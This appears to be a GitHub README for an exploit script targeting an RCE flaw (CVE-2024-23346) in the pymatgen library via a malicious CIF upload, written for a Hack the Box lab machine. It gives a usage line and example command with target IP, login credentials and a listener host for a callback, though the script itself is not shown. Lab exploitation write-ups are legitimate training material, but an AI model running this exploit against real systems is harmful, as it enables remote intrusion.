davidaroca27/cve-2024-23346-exploitThis is a exploit for the known Remote Code Execution (RCE) vulnerability in the `pymatgen` (CVE-2024-23346) Python library by uploading a malicious `CIF` file to the hosted `CIF Analyzer` website on the target running on the Chemistry machine from Hack the Box.
This is a exploit for the known Remote Code Execution (RCE) vulnerability in the pymatgen (CVE-2024-23346) Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the Chemistry machine from Hack the Box.
NVD CVE LINK : https://nvd.nist.gov/vuln/detail/CVE-2024-23346
Usage: CVE-2024-23346-exploit.py -t targetIP -P targetPORT -u loggedusername -p loggedpassword -l tun0ip/lhost
Example:
python3 CVE-2024-23346-exploit.py -t 10.10.11.38 -P 5000 -u ramon -p ramon -l 10.10.15.000
